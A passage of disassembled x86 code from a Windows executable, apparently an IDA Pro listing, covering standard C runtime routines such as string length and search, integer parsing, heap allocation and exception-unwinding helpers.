; ---------------------------------------------------------------------------


loc_4108E9:				; CODE XREF: sub_4108D0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4108D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410904	proc near		; CODE XREF: sub_41098F+4p
					; seg000:00418C84p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41090C:				; CODE XREF: sub_410904+34j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_410924
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_410933
; ---------------------------------------------------------------------------


loc_410924:				; CODE XREF: sub_410904+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_42D820
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_410933:				; CODE XREF: sub_410904+1Ej
		test	eax, eax
		jz	short loc_41093A
		inc	edi
		jmp	short loc_41090C
; ---------------------------------------------------------------------------


loc_41093A:				; CODE XREF: sub_410904+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41094A
		cmp	esi, 2Bh
		jnz	short loc_41094E


loc_41094A:				; CODE XREF: sub_410904+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41094E:				; CODE XREF: sub_410904+44j
		xor	ebx, ebx


loc_410950:				; CODE XREF: sub_410904+7Bj
		cmp	ds:dword_42DA2C, 1
		jle	short loc_410965
		push	4
		push	esi
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_410970
; ---------------------------------------------------------------------------


loc_410965:				; CODE XREF: sub_410904+53j
		mov	eax, ds:off_42D820
		mov	al, [eax+esi*2]
		and	eax, 4


loc_410970:				; CODE XREF: sub_410904+5Fj
		test	eax, eax
		jz	short loc_410981
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_410950
; ---------------------------------------------------------------------------


loc_410981:				; CODE XREF: sub_410904+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41098A
		neg	eax


loc_41098A:				; CODE XREF: sub_410904+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_410904	endp


; =============== S U B	R O U T	I N E =======================================



sub_41098F	proc near		; CODE XREF: sub_40134E+12p
					; sub_40134E+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_410904
		pop	ecx
		retn
sub_41098F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41099A	proc near		; CODE XREF: seg000:00401808p
					; sub_4022A4+69p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_412BCC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4109D9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4109E6
; ---------------------------------------------------------------------------


loc_4109D9:				; CODE XREF: sub_41099A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_412AB7
		pop	ecx
		pop	ecx


loc_4109E6:				; CODE XREF: sub_41099A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41099A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4109F0	proc near		; CODE XREF: seg000:00401680p
					; seg000:004016A0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_410A6A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_410A57


loc_410A08:				; CODE XREF: sub_4109F0+52j
					; sub_4109F0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_410A2A
		test	al, al
		jz	short loc_410A24


loc_410A19:				; CODE XREF: sub_4109F0+32j
		mov	al, [esi]
		inc	esi


loc_410A1C:				; CODE XREF: sub_4109F0+3Fj
		cmp	al, dl
		jz	short loc_410A2A
		test	al, al
		jnz	short loc_410A19


loc_410A24:				; CODE XREF: sub_4109F0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A2A:				; CODE XREF: sub_4109F0+23j
					; sub_4109F0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_410A1C
		lea	edi, [esi-1]


loc_410A34:				; CODE XREF: sub_4109F0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_410A63
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_410A08
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_410A63
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_410A34
		jmp	short loc_410A08
; ---------------------------------------------------------------------------


loc_410A57:				; CODE XREF: sub_4109F0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_4126F6
; ---------------------------------------------------------------------------


loc_410A63:				; CODE XREF: sub_4109F0+49j
					; sub_4109F0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_410A6A:				; CODE XREF: sub_4109F0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4109F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A70	proc near		; CODE XREF: sub_401AD8+7p
					; sub_402102+124p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_410A90


loc_410A7C:				; CODE XREF: sub_410A70+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_410AC3
		test	ecx, 3
		jnz	short loc_410A7C
		add	eax, 0


loc_410A90:				; CODE XREF: sub_410A70+Aj
					; sub_410A70+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_410A90
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_410AE1
		test	ah, ah
		jz	short loc_410AD7
		test	eax, 0FF0000h
		jz	short loc_410ACD
		test	eax, 0FF000000h
		jz	short loc_410AC3
		jmp	short loc_410A90
; ---------------------------------------------------------------------------


loc_410AC3:				; CODE XREF: sub_410A70+11j
					; sub_410A70+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410ACD:				; CODE XREF: sub_410A70+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410AD7:				; CODE XREF: sub_410A70+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_410AE1:				; CODE XREF: sub_410A70+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_410A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AEB	proc near		; CODE XREF: sub_4018F6+Ap
					; sub_401930+12p ...

arg_0		= dword	ptr  4

		push	ds:dword_45EB6C
		push	[esp+4+arg_0]
		call	sub_410AFD
		pop	ecx
		pop	ecx
		retn
sub_410AEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AFD	proc near		; CODE XREF: sub_410AEB+Ap
					; sub_4114E5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_410B26


loc_410B04:				; CODE XREF: sub_410AFD+27j
		push	[esp+arg_0]
		call	sub_410B29
		test	eax, eax
		pop	ecx
		jnz	short locret_410B28
		cmp	[esp+arg_4], eax
		jz	short locret_410B28
		push	[esp+arg_0]
		call	sub_41344B
		test	eax, eax
		pop	ecx
		jnz	short loc_410B04


loc_410B26:				; CODE XREF: sub_410AFD+5j
		xor	eax, eax

locret_410B28:				; CODE XREF: sub_410AFD+13j
					; sub_410AFD+19j
		retn
sub_410AFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B29	proc near		; CODE XREF: sub_410AFD+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_42DA3C
		ja	short loc_410B41
		push	esi
		call	sub_413836
		test	eax, eax
		pop	ecx
		jnz	short loc_410B5D


loc_410B41:				; CODE XREF: sub_410B29+Bj
		test	esi, esi
		jnz	short loc_410B48
		push	1
		pop	esi


loc_410B48:				; CODE XREF: sub_410B29+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_460180
		call	ds:dword_41C140	; RtlAllocateHeap


loc_410B5D:				; CODE XREF: sub_410B29+16j
		pop	esi
		retn
sub_410B29	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B5F	proc near		; CODE XREF: sub_401985+Ap
					; sub_40199E+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_410B8C
		push	esi
		call	sub_4134E0
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_410B7E
		push	eax
		call	sub_41350B
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410B7E:				; CODE XREF: sub_410B5F+13j
		push	0
		push	ds:dword_460180
		call	ds:dword_41C144	; RtlFreeHeap


loc_410B8C:				; CODE XREF: sub_410B5F+7j
		pop	esi
		retn
sub_410B5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410B8E(double)

sub_410B8E	proc near		; CODE XREF: sub_4020B6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42D7E0
		call	sub_414809
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_410C14
		call	sub_4146D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_410BF7
		cmp	eax, 2
		jle	short loc_410BE9
		cmp	eax, 3
		jnz	short loc_410BF7
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_413FE1
		add	esp, 10h
		jmp	short loc_410C59
; ---------------------------------------------------------------------------


loc_410BE9:				; CODE XREF: sub_410B8E+3Fj
		push	esi
		push	ebx
		call	sub_414809
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410C59
; ---------------------------------------------------------------------------


loc_410BF7:				; CODE XREF: sub_410B8E+3Aj
					; sub_410B8E+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41C668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_410C51
; ---------------------------------------------------------------------------


loc_410C14:				; CODE XREF: sub_410B8E+2Fj
		call	sub_414696
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_410C37


loc_410C29:				; CODE XREF: sub_410B8E+ACj
		push	esi
		push	ebx
		call	sub_414809
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_410C59
; ---------------------------------------------------------------------------


loc_410C37:				; CODE XREF: sub_410B8E+99j
		test	bl, 20h
		jnz	short loc_410C29
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_410C51:				; CODE XREF: sub_410B8E+84j
		call	sub_414034
		add	esp, 1Ch


loc_410C59:				; CODE XREF: sub_410B8E+59j
					; sub_410B8E+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_410B8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C5D	proc near		; DATA XREF: seg002:0042D7ECo
		call	sub_410C75
		call	sub_4148D2
		mov	ds:dword_45EAF4, eax
		call	sub_414882
		fnclex
		retn
sub_410C5D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_410C75	proc near		; CODE XREF: sub_410C5Dp
		mov	eax, offset sub_414CC0
		mov	ds:off_42DB5C, offset loc_414955
		mov	ds:off_42DB58, eax
		mov	ds:off_42DB60, offset sub_4149BB
		mov	ds:off_42DB64, offset sub_4148FB
		mov	ds:off_42DB68, offset loc_4149A3
		mov	ds:off_42DB6C, eax
		retn
sub_410C75	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CB0	proc near		; CODE XREF: sub_4020B6+1Bp
					; sub_4020B6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_410CB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410CD7(double)

sub_410CD7	proc near		; CODE XREF: sub_402102+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42D7F8
		call	sub_414809
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_410D5D
		call	sub_4146D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_410D40
		cmp	eax, 2
		jle	short loc_410D32
		cmp	eax, 3
		jnz	short loc_410D40
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_413FE1
		add	esp, 10h
		jmp	short loc_410DA2
; ---------------------------------------------------------------------------


loc_410D32:				; CODE XREF: sub_410CD7+3Fj
		push	esi
		push	ebx
		call	sub_414809
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410DA2
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD7+3Aj
					; sub_410CD7+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41C668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_410D9A
; ---------------------------------------------------------------------------


loc_410D5D:				; CODE XREF: sub_410CD7+2Fj
		call	sub_414696
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_410D80


loc_410D72:				; CODE XREF: sub_410CD7+ACj
		push	esi
		push	ebx
		call	sub_414809
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_410DA2
; ---------------------------------------------------------------------------


loc_410D80:				; CODE XREF: sub_410CD7+99j
		test	bl, 20h
		jnz	short loc_410D72
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_410D9A:				; CODE XREF: sub_410CD7+84j
		call	sub_414034
		add	esp, 1Ch


loc_410DA2:				; CODE XREF: sub_410CD7+59j
					; sub_410CD7+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DA6	proc near		; CODE XREF: sub_415131+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_410DA6	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_410DDA	proc near		; CODE XREF: sub_4152E2+199p
					; sub_4154A6+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_410DDA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410DE1	proc near		; CODE XREF: sub_4152E2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_410DE1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DE8	proc near		; CODE XREF: sub_410F9A+5Cp
					; sub_415131:loc_415162p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_410E10
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41AF8E	; RtlUnwind


loc_410E10:				; DATA XREF: sub_410DE8+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_410DE8	endp

; ---------------------------------------------------------------------------


loc_410E37:				; CODE XREF: seg000:0041B0ECj
					; seg000:0041B109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_414D36
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E6D	proc near		; CODE XREF: sub_4151AC+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_410EC1
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_415530
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_410E6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410EC1	proc near		; DATA XREF: sub_410E6D+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_414D36
		add	esp, 20h
		pop	ebp
		retn
sub_410EC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410EE6	proc near		; CODE XREF: sub_414F78+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_410F9A
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_410F6C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_45EB8C
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_410F6C:				; DATA XREF: sub_410EE6+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_410F89
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_410F92
; ---------------------------------------------------------------------------


loc_410F89:				; CODE XREF: sub_410EE6+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_410F92:				; CODE XREF: sub_410EE6+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410EE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F9A	proc near		; DATA XREF: sub_410EE6+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_410FBD
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41100A
; ---------------------------------------------------------------------------


loc_410FBD:				; CODE XREF: sub_410F9A+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_414D36
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_410FFB
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410DE8


loc_410FFB:				; CODE XREF: sub_410F9A+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41100A:				; CODE XREF: sub_410F9A+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410F9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41100F	proc near		; CODE XREF: sub_414DD1+C6p
					; sub_414F78+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_411066


loc_41102D:				; CODE XREF: sub_41100F+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411037
		call	sub_4155D2


loc_411037:				; CODE XREF: sub_41100F+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41104C
		cmp	ecx, [eax+8]
		jle	short loc_411051


loc_41104C:				; CODE XREF: sub_41100F+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41105D


loc_411051:				; CODE XREF: sub_41100F+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41105D:				; CODE XREF: sub_41100F+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41102D
		mov	eax, [ebp+var_4]


loc_411066:				; CODE XREF: sub_41100F+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41107A
		cmp	esi, eax
		jbe	short loc_41107F


loc_41107A:				; CODE XREF: sub_41100F+65j
		call	sub_4155D2


loc_41107F:				; CODE XREF: sub_41100F+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41100F	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41108C	proc near		; CODE XREF: sub_417AAC+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4110A4
		push	[ebp+arg_0]
		call	sub_41AF8E	; RtlUnwind


loc_4110A4:				; DATA XREF: sub_41108C+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41108C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110AC	proc near		; DATA XREF: sub_4110CE+Ao
					; sub_411136+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4110CD
		mov	eax, [esp+arg_4]
